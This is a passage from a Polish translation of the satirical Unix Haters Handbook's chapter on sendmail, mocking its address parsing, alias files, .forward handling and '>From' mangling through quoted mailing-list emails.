R<$=X$->!?$+ $@<$1$2>!$3 Return unqualifiedR<$+>$+?$+ <$1>$2$3 Remove '?'R<$+.$+>$=Y$+ $@<$1.$2>,$4 Change do user@domain

Farmerzy uważają nietoperze za przyjaciół ponieważ zjadają robaki. Farmerzy uważają Sendmaila za przyjaciela ponieważ powoduje, że ich koledzy którzy mają wyższe wykształcenie są zainteresowani rolnictwem jako karierą.

Mógłbym tak wymieniać dalej, ale wiecie już, o co mi chodzi. Czekajcie na wyniki testu penetracji śrutu .22!

- Rob

Temat: Zwrócona wiadomość: Użytkownik nieznany

System pocztowy musi wykonać następujące relatywnie proste zadania za każdym razem, kiedy otrzymuje wiadomość w celu dostarczenia wiadomości do zamierzonego odbiorcy:

1. Oddzielić adres od treści wiadomości.2. Rozdzielić adres na dwie części: nazwę użytkownika i serwera (tak jak zwykła poczta

rozdziela adresy na imię i nazwisko, ulicę i numer domu oraz miasto).3. Jeśli nie jest serwerem docelowym, wysłać wiadomość do określonego serwera.4. Jeśli jest serwerem docelowym, sprawdzić dla którego użytkownika przeznaczona jest

wiadomość i włożyć wiadomość do odpowiedniej skrzynki lub pliku.

Sendmail potrafi zepsuć każdy etap tego procesu.

Krok 1: Oddzielić adres od treści wiadomości.

To proste dla ludzi. Na przykład weźmy następującą wiadomość:

Date: Wed, 16 Oct 91 17:33:07 -0400From: Thomas Lawrence <[email protected]>To: [email protected]: Sidewalk obstruction

The logs obstructing the sidewalk in front of the building will be used in the re-placement of a collapsing manhole. They will be there for the next two to three weeks.

Nie mamy problemu ze stwierdzeniem że wiadomość została wysłana przez „Thomasa Lawrence”, jest przeznaczona dla listy mailowej „msgs” założonej w MIT Media Lab i że treść wiadomości dotyczy jakichś pni na chodniku na zewnątrz budynku. Ale nie jest to takie proste dla Unixa, który produkuje:

Date: Wed, 16 Oct 91 17:29:01 -0400From: Thomas Lawrence <[email protected]>Subject: Sidewalk obstructionTo: [email protected]

52

Page 53: Unix Haters Handbook

Cc: [email protected], logs.obstructing.the.sidewalk.in.front.of.the.building.will.be.used.in.the@media-lab.media.mit.edu

Czasami sendmail przetwarza całą treść wiadomości (czasami od tyłu!) jako listę adresów:

Date: Thu, 13 Sep 90 08:48:06 -0700From: [email protected]: Redistributed from CS.Stanford.EDUApparently-To: <Juan ECHAGUE e-mail:[email protected] tel:76 57 46 68 (33)>Apparently-To: <PS:I’ll summarize if interest,[email protected]>Apparently-To: <[email protected]>Apparently-To: <Thanks in [email protected]>Apparently-To: <for temporal logics.Comments and references are welcomed.@Neon. Stanford.EDU>Apparently-To: <I’m interested in gentzen and natural deduction style axiomatizations @Neon.Stanford.EDU>

Krok 2: Rozdzielić adres.

Rozdzielenie adresu poczty elektronicznej polega na prostym znalezieniu oddzielającego nazwę użytkownika od nazwy serwera. Niestety, ponieważ Unix tak bardzo wierzy w standardy, ma (co najmniej) trzy znaki oddzielające: „!”, „@” i „%”. Znak „at” (@) jest do routingu w Internecie, wykrzyknik (który z jakiegoś powodu niektóre Unixowe świry nazywają „bang”) jest do routingu w UUCP, a procent jest kompatybilny ze wczesnymi serwerami poczty ARPANETu. Kiedy Joe Smith na serwerze A chce wysłać wiadomość do Sue Whitemore na serwerze B, może wygenerować nagłówek taki jak Sue@bar!B%baz!foo.uucp. Jest rolą sendmaila rozdzielenie tego nonsensu i wysłanie wiadomości w jakieś logiczne miejsce.

Czasami trudno nie żałować sendmaila jako ofiary wielości „standardów” w Unixie. Oczywiście sendmail jest częściowo odpowiedzialny za utrwalanie takich problemów. Gdyby sendmail nie przystosowywał się do dziwnych zachowań wysyłających pocztę, użytkownicy byliby ostrożniejsi w tworzeniu adresów. Może żądaliby od administratorów swoich systemów poprawnej konfiguracji serwerów poczty. Może netmail znów działałby niezawodnie, nieważne gdzie wysyłałbyś pocztę albo skąd byś ją odbierał.

Czasami sendmail posuwa się za daleko.

Date: Wed, 8 Jul 1992 11:01-0400From: Judy Anderson <[email protected]>To: UNIX-HATERSSubject: Mailer error of the day.

Ostatnio rozśmieszył mnie błąd serwera poczty. Wygląda na to, że dostałem maila od kogoś w domenie „.at”. Więc co zrobił Unixowy serwer poczty z tym adresem kiedy chciałem odpowiedzieć na wiadomość? Zamienił „at” na „@”, po czym narzekał że nie ma takiego serwera! A może to był zły format adresu? Zapomniałem, jest tak wiele różnych dróg aby przegrać.

...albo może sendmail uważa, że Judy nie powinien wysyłać poczty do Austrii.

53

Page 54: Unix Haters Handbook

Krok 3: Ustal dokąd ma iść wiadomość.

Podobnie jak w przypadku zwykłej poczty która dostarczy list do Johna Doe jeśli jest zaadresowana do „John Doe”, „John Q. Doe” albo „J. Doe”, elektroniczne systemy poczty obsługują różne aliasy dla tej samej osoby. Zaawansowane systemy poczty elektronicznej, jak Andrew System z Carnegie Mellon University robią to automatycznie.Ale sendmail nie jest taki mądry: trzeba mu powiedzieć, że John Doe, John Q. Doe i J. Doe to ta sama osoba. Robi się to poprzez plik aliasów, który określa przyporządkowanie adresów do konkretnego użytkownika.

Pliki aliasów są dość potężne: można dzięki nim określić że list wysłany na jeden adres ma być dostarczony wielu różnym użytkownikom. Na przykład, nazwa „CIECIE” może być przyporządkowana do „Anton, Kim i Bruce”. Wysłanie listu do „CIECIE” spowoduje wysłanie go do tych trzech użytkowników. Pliki aliasów są naturalnym pomysłem i były używane od czasu kiedy pierwsza wiadomość elektroniczna została wysłana.

Niestety, sendmail nie bardzo rozumie tą koncepcję i format jego pliku aliasów to studium złego projektowania. Chcielibyśmy powiedzieć coś obraźliwego, na przykład „pochodzi z mrocznych wieków komputerów”, ale nie możemy: pliki aliasów działały w mrocznych wiekach komputerów. To nowoczesne pliki aliasów sendmaila są przesiąknięte problemami. Przyjrzyjmy się wyjątkom z pliku aliasów sendmaila zrobione przez kogoś kto zarządzał tym systemem i został zmuszony do używania sendmaila:

################################################################# PRZECZYTAJ PONIŻSZE UWAGI PRZED DOKONYWANIEM ZMIAN W PLIKU!## Ponieważ aliasy są uruchamiane ponad żółtymi stronami, musisz# wykonać następującą komendę po modyfikacji pliku:## /usr/local/newaliases# (Albo wpisać m-x w Emacsie aby skompilować plik po edycji.)## [Zwróć uwagę że ta komenda –niekoniecznie- powie czy plik# listy mailowej jest składniowo poprawny – równie dobrze może# zniszczyć system mailowy na wszystkich sunach.# WITAMY W ŚWIECIE PRZYSZŁOŚCI.]## Specjalna uwaga: Upewnij się że wszystkie końcowe adresy na # liście mailowej mają dołączoną nazwę serwera. Jeśli nie mają,# sendmail dołączy nazwę domeny Żółtych Stron do sugerowanej# nazwy serwera, która jest niewłaściwa. Tak więc jeśli odbierasz# swoje maile na wheaties, i twoja nazwa użytkownika jest john,# użyj „john@wh” w swoim adresie. Użycie tylko „john” spowoduje # duże problemy. Z drugiej strony pamiętaj że każdy serwer spoza# „ai.mit.edu” musi mieć pełną nazwę domeny. Tak więc „xx” nie jest# dozwoloną nazwą pliku. Zamiast tego musisz użyć „xx.lcs.mit.edu”.# WITAMY W ŚWIECIE PRZYSZŁOŚCI### Specjalna uwaga co do dużych list:# Jak wynika z empirycznych obserwacji każda lista zdefiniowana W # TYM PLIKU która ma więcej niż 50 odbiorców spowoduje że przy# uruchomieniu newaliases pojawi się błąd „entry too large”. Nie# powie –która- lista jest za duża, niestety, ale jeśli tylko ty# edytowałeś ostatnio jedną, masz jakąś wskazówkę. Dodanie 51# odbiorcy do listy spowoduje ten błąd. Ominięcie błędu: „include”# pliki jak opisano gdzieś indziej, które chyba mają dużo większe # lub nieskończone ilości odbiorców dozwolone. [Inny problem to to,

54

Page 55: Unix Haters Handbook

# że te pliki są przechowywane w formacie dbm(3) dla użytku przez# sendmail. Ten format ogranicza długość każdego aliasu do wielkości # wewnętrznego bloku (1K}].# WITAMY W ŚWIECIE PRZYSZŁOŚCI# # Specjalna uwaga co do komentarzy:# W przeciwieństwie do MMAILR, -NIE MOŻNA- dodawać komentarzy na # końcu linii przez proste poprzedzenie ich znakiem „#”. Serwer# poczty (albo newaliases) będzie myślał że to adres zawierający# „#” w sobie a nie komentarz. To oznacza oczywiście że nie można# dopisać komentarza w tej samej linii co jakikolwiek kod. To także# prawdopodobnie oznacza że nie można dopisać komentarza w środku# definicji listy (nawet w osobnej linii) jeśli się chce, żeby# reszta listy została poprawnie przetworzona.# WITAMY W ŚWIECIE PRZYSZŁOŚCI####################################################################

Sendmail ma nie tylko beznadziejny format pliku aliasów: wiele wersji powszechnie odmawia dostarczania poczty albo rozwiązywania nazw domenowych kiedy przetwarza plik aliasów na format binarny.

Date: Thu, 11 Apr 91 13:00:22 EDTFrom: Steve Strassmann <[email protected]>To: UNIX-HATERSSubject: pain, death, and disfigurement

Czasami, zupełnie jak rzadki grzyb, Unix musi być podziwiany we właściwym momencie. Na przykład możesz wysłać list na listę mailową. Ale nie jeśli ktoś właśnie w tym momencie uruchomił newaliases.

Newaliases przetwarza /usr/lib/aliases podobnie jak końskie mięso: kości, skórę i tak dalej. Wesoło zignoruje literówki, zadławi się spacją i zrobi cokolwiek będzie chciał z komentarzami poza traktowaniem ich jako komentarzy a na koniec nie stwierdzi żadnych błędów ani ostrzeżeń. Jak to możliwe? To wymaga zrozumienia sposobu czytania pliku. Założę się że byłoby trudno czekać serwerowi poczty na zakończenie tej kiełbasy przed jej użyciem, ale ewidentnie Unix nie potrafi zatrzymać starej, używalnej wersji w czaskie kiedy nowa jest tworzona. Widzisz, to by wymagało, eee, właściwie to byłoby trywialne. Nieważne, Unix po prostu tego nie potrafi.

Skoro lista aliasów jest ogłoszona jako martwa na starcie, co robi sendmail? Jasne, traktuje to jak ewangelię. Jeśli wyślesz list na alias w stylu ZIPPER-LOVERS który jest na końcu pliku, a plik nadal krztusi się na ACME-CATALOG-REQUEST, sendmail szczęśliwie stwierdzi, że adresat jest nieznany. A kiedy skończy tworzyć nową bazę danych aliasów z nowymi błędami, stara wersja dotychczas działająca jest stracona na zawsze. I osoba dokonująca zmian nie jest poinformowana o żadnych błędach. I osoba wysyłająca list na właściwy adres dostaje go odbitego z powrotem. Ale tylko czasami.

Krok 4: Włóż list do właściwej skrzynki.

Praktycznie każdemu kto ma nieszczęście przetwarzania swoich wiadomości przez sendmail zdarzyło się, że specjalna wiadomość została wysłana do złego odbiorcy. Zwykle te

55

Page 56: Unix Haters Handbook

wiadomości są bardzo osobiste i w jakiś niesamowity sposób są wysyłane precyzyjnie do osób, które jeśli odbiorą wiadomość spowoduje to maksymalną możliwą szkodę.

Przy innych okazjach sendmail zostaje skonfudowany i nie wie gdzie ma dostarczyć pocztę. Czasami sendmail po cichu kasuje list. Kilka osób może narzekać na ten specyficzny manieryzm sendmaila, bo tylko kilka osób wie o tym, że ich listy zaginęły. Ponieważ Unix kłamie na wiele sposobów i ponieważ sendmail jest bardzo kruchy, jest praktycznie niemożliwe zdebugować ten system kiedy po cichu kasuje listy.

Date: Tue, 30 Apr 91 02:11:58 EDTFrom: Steve Strassmann <[email protected]>To: UNIX-HATERSSubject: Unix and parsing

Niektórzy z was może mówią – do diabła, dlaczego ten „straz” wysyła tak dużo listów na UNIX-HATERS? Skąd bierze nowy materiał codziennie, czasami dwa razy dziennie? Dlaczego jest tak przepełniony goryczą? Na wszystkie te pytania jest prosta odpowiedź: używam Unixa.

Na przykład dzisiaj. Biedny, niewinny użytkownik zapytał mnie dlaczego nagle przestał dostawać e-maile w ciągu ostatnich 48 godzin. W przeciwieństwie do większości użytkowników z kontami na głównej maszynie Media Lab, odbierał i czytał pocztę na mojej stacji roboczej.

Faktycznie, wysłałem wiadomość która po prostu zniknęła. Bez błędu, bez niczego, po prostu zniknęła. Sprawdziłem zwykłych podejrzanych, ale po godzinie pomiędzy manualem sendmaila i innymi problemami poddałem się.

Kilka godzin później, rozwiązując inny niezwiązany problem Unixowy, wpisałem „ps –ef” aby spojrzeć na kilka procesów. Właścicielem mojego nie był „straz” ale ktoś nazwany „000000058”. Czas zaglądnąć do /etc/passwd.

Właśnie tutaj, w linii 3 pliku haseł, jest nowy użytkownik poprzedzony (zgroza!) pustą linią. Tak właśnie powiedziałem. Pustą linią. Następowały po niej wszystkie inne wpisy, we właściwym porządku, zrozumiałe dla ciebie i dla mnie, ale nie dla Unixa. Ktokolwiek korzystał z ps aby uzyskać moją nazwę użytkownika nie mógł przeczytać pliku za pustą linią, tak jakby wpisu „straz” w ogóle tam nie było. Jak widzicie, Unix zna się na przetwarzaniu [parsing] tak jak Dan Quale na mechanice kwantowej. Serwer poczty zagląda do /etc/passwd przed kolejkowaniem poczty. Nazwa użytkownika była w /etc/passwd, w porządku, zatem nie trzeba odbić przychodzącego listu z adnotacją „nieznany użytkownik”. Ale kiedy trzeba włożyć wiadomość gdzieś w komputerze w stylu /usr/mail, nie mógł przeczytać pliku za pustą linią aby zidentyfikować właściciela, niezależnie od tego że zna właściciela bo przecież zaakceptował go za pierwszym razem. Więc co trzeba zrobić? Rozwiąż problem po Unixowemu: wyrzuć wiadomość nie mówiąc nic komukolwiek i miej nadzieję, że nie było tam nic ważnego!

Ale skąd się wzięła ta pusta linia? Nowy użytkownik, poprzedzony pustą linią, został dodany przez kolegę o dobrych intencjach używającego ed z terminala z niestandardowym zestawem zmiennych środowiskowych tak że nie mógł użyć Emacsa ani vi ani żadnego edytora ekranowego tak że nie mógłby zobaczyć że pojawiła się pusta linia którą Unix prędzej zadławi się na śmierć niż ominie. Oto dlaczego.

From: <[email protected]>

56

Page 57: Unix Haters Handbook

Problem z sendmailem jest taki, że jego konfiguracja jest opartym na zasadach systemem ekspertowym, ale świat poczty elektronicznej nie jest logiczny, a konfiguratorzy sendmaila nie są ekspertami.

—David Waitzman, BBN

Poza niszczeniem ustanowionych protokołów dostarczania poczty, Unix wymyślił nowsze, aktualniejsze metody upewniania się że list nie dojdzie do miejsca przeznaczenia, jak na przykład przekazywanie poczty.

Przypuśćmy że się przeprowadziłeś i chcesz, aby twoja poczta była automatycznie przekazywana przez urząd pocztowy. Racjonalna metoda to ta używana teraz: wysyłasz wiadomość do lokalnego postmastera, zarządzającego scentralizowaną bazą danych. Kiedy postmaster odbiera pocztę dla ciebie, daje nowy adres i wysyła na nowy adres.

Jest też inna, słabsza metoda przekazywania poczty: nalepić na skrzynce pocztowej kartkę z wiadomością wskazującą twój nowy adres. Kiedy twój listonosz widzi wiadomość, nie wkłada listu do skrzynki, ale pisze nowy adres i zanosi z powrotem na pocztę. Za każdym razem.

Problemy z takim rozwiązaniem są oczywiste. Po pierwsze, generuje się niepotrzebne obciążenie. Ale co ważniejsze, listonosz nie może zawsze zobaczyć wiadomość – może się spieszyć, może czyjś śmietnik zasłaniać, może padać deszcz. Kiedy tak się stanie, doręczy pocztę na stary adres, i nie zobaczysz jej dopóki nie pojedziesz na swój stary adres i sprawdzisz albo jeśli nie sprawdzą tego sąsiedzi.

My nie wymyśliliśmy tej głupszej metody: Unix wymyślił. Nazwali tą notkę obok skrzynki plikiem .forward. I często się zdarza, zwłaszcza w dzisiejszych czasach pośpiechu, że listonosz przeocza notkę z nowym adresem i zostawia twoją pocztę gdziekolwiek chce.

Date: Thu, 6 Oct 88 22:50:53 EDTFrom: Alan Bawden <[email protected]>To: SUN-BUGSCc: UNIX-HATERSSubject: I have mail?

Zawsze kiedy loguję się do Suna, dowiaduję się że mam pocztę. Nie chcę odbierać listów pod Unixem, chcę żeby moja poczta była przekazywana na adres „Alan@AI”. W tej chwili nie mam skrzynki pocztowej w katalogu domowym na Sunie, ale może Unix wrzuca listy gdzieś indziej?

Jeśli wyślę wiadomość testową na „alan@wheaties” poprawnie znajduje drogę do AI, tak jak jest zapisane w pliku .forward w katalogu domowym. Mimo to kiedy się zaloguję na Suna mówi mi, że mam pocztę. (Nie mam osobistego wpisu w pliku aliasów, czy potrzebuję mieć w dodatku do pliku .forward?)

Czy ktoś może wobec tego:A. Powiedzieć mi że mam po prostu zignorować komunikat „You have mail”,

ponieważ faktycznie nie mam żadnej poczty odkładającej się w jakimś ciemnym kącie systemu plików, albo

B. Znaleźć tą pocztę i przesłać mi ją i naprawić to, żeby więcej to się nie zdarzało.

Dzięki.

Następnego dnia Alan sam sobie odpowiedział:

57

Page 58: Unix Haters Handbook

Date: Fri, 7 Oct 88 14:44 EDTFrom: Alan Bawden <[email protected]>To: UNIX-HATERSSubject: I have mail?

Date: Thu, 6 Oct 88 22:50:53 EDTFrom: Alan Bawden <[email protected]>

…(Nie mam osobistego wpisu w pliku aliasów, czy potrzebuję mieć w dodatku do pliku .forward?)

Najwyraźniej odpowiedź na to pytanie brzmi „tak”. Jeśli serwer plików zawierający mój katalog domowy nie działa, serwer poczty nie może znaleźć mojego pliku .forward i pozostawia list w /usr/spool/mail/alan (albo gdziekolwiek). Tak więc jeśli naprawdę nie chcę czytać poczty pod Unixem muszę mieć osobisty wpis w pliku aliasów. Myślę że plik .forward w katalogu domowym jest mechanizmem powodującym bardziej nieprzewidywalne zachowanie Unixowego serwera poczty.

Ciekawe co się dzieje kiedy serwer plików który zawiera plik aliasów nie działa?

Niezgodny z protokołem

Każde społeczeństwo ma zasady aby zapobiegać chaosowi i promować ogólny dobrobyt. Tak jak przy jednej ulicy mogą mieszkać ludzie pochodzący z Europy, Afryki, Azji i Ameryki Północnej, komputery dzielące jeden kabel sieciowy często pochodzą z całkowicie różnych miejsc i mówią różnymi językami. Tak jak ludzie mieszkający przy tej samej ulicy tworzą sobie wspólny język dla komunikacji, komputery powinny przestrzegać wspólnego języka, nazwanego protokołem, dla komunikacji.

Taka strategia ogólnie działa, dopóki jakiś śmieć nie wprowadzi się do bloku albo maszyna Unixowa do sieci. Ani śmieć ani Unix nie przestrzegają zasad. Przewracają kosze na śmieci, za głośno włączają stereo, powodują nieprzyjemne życie u wszystkich innych oraz przyciągają słabych sykofantów którzy podpierają swój brak siły łączeniem się ze zbirem.

Chcielibyśmy przesadzać, ale nie robimy tego. Są opublikowane protokoły. Można je obejrzeć w komputerowym odpowiedniku ratusza – RFC. Potem można użyć Unixa i zweryfikować straty spowodowane niechęcią Unixa do przestrzegania protokołów.

Na przykład aspołecznym i nielegalnym zachowaniem sendmaila jest wysyłanie poczty pod zły adres zwrotny. Powiedzmy że wysyłasz prawdziwy list pocztą na którym jest twój adres zwrotny, ale wrzuciłeś go do skrzynki na ulicy albo dałeś go koledze żeby go wysłał. Przypuśćmy dalej że odbiorca pisze „zwrócić do nadawcy” na liście. Inteligentny system zwróci list pod adres zwrotny; nieinteligentny system zwróci list tam, skąd był nadany – do skrzynki na ulicy albo do twojego kolegi.

Ten system przypominający spleśniałe awokado to oczywiście Unix, ale prawdziwa historia jest trochę bardziej skomplikowana ponieważ możesz poprosić swój program pocztowy o wykonanie zadań, których nie wykonałby listonosz. Na przykład kiedy odpowiadasz na list elektroniczny, nie musisz wysyłać koperty zwrotnej, komputer robi to za ciebie. Komputery, szukające dziury w całym ze słoniową pamięcią śledzą nie tylko do kogo powinna być skierowana odpowiedź (adres zwrotny zwany w języku komputerowym polem „Reply-to:”), ale także od kogo został otrzymany (pole „From:”). Zasady mówią jasno, że odpowiedź na list elektroniczny ma używać adresu z pola „Reply-to:”, a nie „From:”. Wiele wersji Unixa ignoruje tą zasadę, siejąc spustoszenie u niczego niepodejrzewających. Ci którzy

58

Page 59: Unix Haters Handbook

religijnie wierzą, że Unix myśli że robi dobrą rzecz, źle przypisują winę za jego złe zachowanie działającym programom, podobnie jak Detroit obwinia Japonię kiedy samochody z Detroit nie wytrzymują konkurencji.

Na przykład rozważmy sekwencję wydarzeń kiedy Devon Mc Cullough narzekał na jednego z subskrybentów listy mailowej nazwanej PAGANISM, że ten subskrybent wysłał list na adres [email protected] zamiast PAGANISM @MC.LCS.MIT.EDU:

From: Devon Sean McCullough <[email protected]>To: <PAGANISM Digest Subscriber>

Ta wiadomość została wysłana na PAGANISM-REQUEST, nie PAGANISM. Albo ty, albo twój klawisz „r” coś spieprzył. Albo lista jest spieprzona. Tak czy siak, możesz spróbować wysłać ją znowu.

- Devon

Nie mający pojęcia Unixowy świr odesłał z powrotem następującą wiadomość Devonowi, narzekając że wina nie leży po stronie jego ani sendmaila, ale listy PAGANISM:

Date: Sun, 27 Jan 91 11:28:11 PSTFrom: <Paganism Digest Subscriber>To: Devon Sean McCullough <[email protected]>

>Z mojego punktu widzenia winna jest lista. Używam Berkeley Unix Mail, które ignoruje pole „Reply-to:” i zamiast niego używa pola „From:”. Tak więc jedynym sposobem na uzyskanie właściwego adresu jest albo skasować wszystko za myślnikiem i dopisać @ i tak dalej, albo zapisać gdzieś list i poprzez jakieś zakręty dołączyć wyedytowany plik do starego adresu. Dlaczego mam przechodzić przez wszystkie te kłopoty? To jest główny powód, dla którego tak rzadko piszę na listę PAGANISM.

Taka interpretacja jest łatwa do zrozumienia:

Date: Mon, 28 Jan 91 18:54:58 ESTFrom: Alan Bawden <[email protected]>To: UNIX-HATERSSubject: Depressing

Zauważcie sposób rozumowania typowego świra Unixowego:

„Lista produkuje nagłówek z właściwym polem Reply-To, z oczekiwaniem że program pocztowy potraktuje nagłówek zgodnie z udokumentowanym standardem – według RFC 822. Berkeley Unix Mail, wbrew wszelkim standardom i w przeciwieństwie do wszystkich rozsądnych programów pocztowych ignoruje pole Reply-To i zamiast niego niewłaściwie pola From:”.

Wynika z tego, że:

„Wina leży po stronie listy.”

59

Page 60: Unix Haters Handbook

Szczerze mówiąc, myślę że cała rasa ludzka jest skazana na zagładę. Nie mamy szans na cokolwiek innego oprócz zadławienia się na śmierć własnymi odpadami w trakcie następnych kilkuset lat.

Należy zauważyć, że ta konkretna funkcja Berkeley Mail została naprawiona; program teraz poprawnie używa nagłówka „Reply-To:” jeśli jest obecny w wiadomości. Z drugiej strony, podejście mówiące że Unixowa implementacja jest bardziej aktualnym standardem niż sam standard nadal istnieje. Jest wszechobecne. Internet Engineering Task Force (IETF) rozpoczęło wysiłki w celu przepisania internetowych „standardów” RFC tak, aby zgadzały się z programami w Unixie które są ich implementacją.

>Od Unixa, z miłością

Mamy prawa przeciwko modyfikowaniu listów przez pocztę. Poczta może pisać na kopercie, ale nie może otwierać listów i zmieniać treści. To wygląda cywilizowanie. Ale Unix czuje się w mocy aby zmieniać treść wiadomości. Tak, oczywiście, to jest niezgodne z prawem komputerowym. Unix lekceważy prawo.

Na przykład czy zauważyłeś mały „>” w tekście wiadomości powyżej? Nie umieściliśmy go tam ani nadawca go tam nie umieścił. Zrobił to sendmail, co wskazano w poniższej wiadomości:

Date: Thu, 9 Jun 1988 22:23 EDTFrom: [email protected]: UNIX-HATERSSubject: mailer warts

Czy kiedykolwiek zastanawialiście się w jaki sposób Unixowe czytniki poczty przetwarzają pliki listów? Widzieliście te wiadomości od tych wszystkich frajerów z UUCP – zawsze zawierają części innych wiadomości z dziwacznymi znakami na początku każdej linii. Tak jak tutaj:

From Unix Weenie <piffle!padiddle!pudendum!weenie>Date: Tue, 13 Feb 22 12:33:08 EDT

From: Unix Weenie <piffle!padiddle!pudendum!weenie>To: net.soc.singles.sf-lovers.lobotomies.astronomy.laserlovers.unix. wizards.news.group

In your last post you meant to flame me but you clearly don’t know what your talking about when you say> >> %> $> Received: from magilla.uucp by gorilla.uucp> >> %> $> via uunet with sendmail> >> %> $> …

so think very carefully about what you say when you post >From your home machien because when you sent that msg it went to all the people who dont want to read your falming so don’t do it ):-(

Właśnie! Skąd się wziął „>”przed „From”? Można by pomyśleć że jest to jeden z tajemnych kodów których używają świry Unixowe w Usenecie kiedy rozmawiają ze

60

Page 61: Unix Haters Handbook

sobą, aby zaznaczyć że cytują piętnastą poprzedzającą wiadomość w jakiejś niekończącej się publicznej rozmowie, ale nie – został dodany przez program pocztowy. Czytnik poczty przetwarza pliki poprzez szukanie linii zaczynających się od „From”. Tak więc program pocztowy musi zmutować linie tekstu zaczynające się od „From” żeby nie konfudować czytnika poczty. Można to zweryfikować poprzez wysłanie listu zawierającego w treści linię zaczynającą się od „From”.

To bardzo istotna sprawa, więc wymaga powtórzenia. Powodem pojawiania się „>From” jest sposób wyróżniania w skrzynce poszczególnych listów przez system pocztowy Unixa (skrzynka, zgodnie z projektem Unixa, też jest innym plikiem). Zamiast używania specjalnych sekwencji kontrolnych albo zapisywania informacji kontrolnych w oddzielnym pliku, Unix przyjmuje że każda linia zaczynająca się od liter F-r-o-m z następującą po nich spacją oznacza początek nowej wiadomości pocztowej.

Używanie fragmentów które mogą być zawarte w e-mailach do reprezentowania informacji o e-mailach nazywa się [inband communication], i ktokolwiek kto miał kiedyś do czynienia z telekomunikacją wie, że nie jest to dobry pomysł. Nie jest dobry, ponieważ wiadomości czasami zawierają w sobie te znaki. Z tego powodu sendmail wyszukuje linie zaczynające się od „From” i zamienia je na „>From”.

Może myślisz że jest to nieszkodliwe zachowanie, tak jakby ktoś publicznie głośno beknął. Ale czasami te beknięcia są umieszczane w dokumentach których tekst jest przesyłany z użyciem sendmaila. Odbiorca wierzy że wiadomość została sprawdzona przez nadawcę, więc traktuje ją dosłownie. Różne systemy przetwarzania tekstu robią różne rzeczy ze znakami „>”. Na przykład LaTeX zamienia je na odwrotne znaki zapytania (¿). Jeśli nie wierzycie, zobaczcie dokument „Some comments on the assumption commitment framework for compositional verification of distributed programs” autorstwa Paritosh Pandya, w „Step-wise Refinement of Distributed Systems”, Springer-Verlag, Lecture Notes in Computer Science no. 430, strony 622–640. Zobaczcie na strony 626, 630 i 636 – trzy rozdziały zaczynają się od „From” poprzedzonego ¿.

Sendmail psuje nawet te listy, dla których nie jest „końcowym dostarczycielem”, czyli przeznaczone dla innych serwerów które tylko przechodzą przez jakiś system używający sendmaila. Na przykład wszyscy w Microsofcie używają DOSowych i Windowsowych programów do wysyłania i czytania poczty. Pomimo to w wewnętrznych listach wszędzie pojawiają się „>From”. Dlaczego? Ponieważ listy z jednego na drugi komputer DOSowy przechodzą przez serwer Unixowy i są okaleczone na całe życie.

Co zatem się dzieje kiedy składasz reklamację do sprzedawcy elektronicznych usług pocztowych (któremu płacisz dobre pieniądze) że jego maszyna nie przestrzega protokołów? Jerry Leichter złożył reklamację i otrzymał odpowiedź:

Date: Tue, 24 Mar 92 22:59:55 EDTFrom: Jerry Leichter <[email protected]>To: UNIX-HATERSSubject: That wonderful “>From”From: <A customer service representative>

Ja i inni nie uważamy, że jest to błąd. Jeżeli możesz przyjść z RFC które mówi, że nie możemy tego robić jestem pewien że to naprawimy. Do tego czasu jest to moja ostatnia odpowiedź. Zwróciłem na to uwagę moim szefom jak już mówiłem wyżej. Wygląda na to, że jest to Unixowy sposób obsługi poczty. Wysłałem wiadomości testowe z maszyn mających najnowsze oprogramowanie. Jako końcowa uwaga oto sekcja z RFC976:

61

Page 62: Unix Haters Handbook

[skasowane]

Nie zamieszczam tutaj tego wspaniałego cytatu, w którym nic nie usprawiedliwia modyfikowania poczty przez program przekazujący pocztę – jest tam po prostu napisane że linie „From” i „>From”, skądkolwiek pochodzą, są członkami syntaktycznej klasy „From_Lines”. Używając typowego myślenia Unixowego ponieważ nie można konkretnie powiedzieć że nie można tego robić i ponieważ takie linie istnieją, to wszystko jest legalne, prawda?

Odkopałem szkic RFC z lipca 1982 dotyczący SMTP. Jasno wskazuje, że wiadomości muszą być dostarczane bez zmian, ze szczegółowo opisanymi wyjątkami. Nic na temat „>”. Po 10 latach problem nie tylko istnieje w komercyjnym systemie, za korzystanie z którego się płaci, ale na dodatek ci którzy źle postępują nawet NIE WIDZĄ że źle robią.

Chyba pozostaje krzyczeć.

Powyższa wiadomość została zwrócona do subskrybenta listy UNIX-HATERS przez pomoc techniczną dużego dostawcy Internetu. Pominęliśmy nazwę firmy nie w interesie ochrony winnych, ale ponieważ nie ma powodu wskazywać na tą konkretną firmę: pogląd że „sendmail ma zawsze rację” jest powszechny u wszystkich dostawców Internetu.

uuencode: kolejna łata, kolejna porażka

Można odróżnić żyjących na środkowych poziomach Piekła Unixowego od tych na niższych poziomach. Ci ze środkowych wiedzą o problemie „>From” ale myślą, że przy pomocy uuencode unikną problemów. Uuencode koduje plik używając 7-bitowych znaków zamiast 8-bitowych, z którymi Unixowe programy pocztowe i sieciowe mogą mieć trudności. Program uudecode rozkodowuje plik produkując kopię oryginalnego pliku. Zakodowany plik jest podobno bezpieczniejszy niż zwykły tekst; na przykład zniekształcenie „>From” nie może zajść w takim pliku. Niestety, programy pocztowe Unixa mają inne sposoby na wkurzanie użytkowników:

Date: Tue, 4 Aug 92 16:07:47 HKTFrom: “Olin G. Shivers” <[email protected]>To: UNIX-HATERSSubject: Need your help.

Ktokolwiek uważa że uuencode pomaga chronić wiadomości pocztowe żyje w świecie fikcji. Uuencode nie pomaga. Ten idiotyczny program używa spacji ASCII w kodowaniu. Ciągi zer przechodzą w ciągi spacji. Wiele programów pocztowych wycina ciągi spacji z listu. To rozwala zakodowane dane. Cóż, w końcu to Unix, czego można się spodziewać?

Oczywiście można grzebać się w danych, znaleźć linie o niewłaściwej długości i ręcznie uzupełnić spacjami – to (prawie na pewno) naprawi dane. Swoją drogą po co jest twój czas poza sprzątaniem po interakcjach z różnymi tak zwanymi „użytkami” Unixa z uszkodzonym mózgiem?

Spróbuj znaleźć cholerną specyfikację dla danych zakodowanych uuencode. W manualu? Hehe. Nie ma mowy. Przeczytaj sobie źródło – oto „specyfikacja”.

Szczególnie podziwiam sposób w jaki uuencode tworzy pliki zamiast pracować jako filtr stdio. Zamiast przepuścić plik do tar-a, który wie coś o tworzeniu pliku, jego

62

Page 63: Unix Haters Handbook

prawach dostępu, katalogach i tak dalej budujemy niedorobiony ekwiwalent funkcjonalności prosto w uuencode tak że będzie tam czy chcesz tego czy nie.

I naprawdę lubię sposób, w jaki Unix tworzy pliki zapisywalne przez wszystkich.

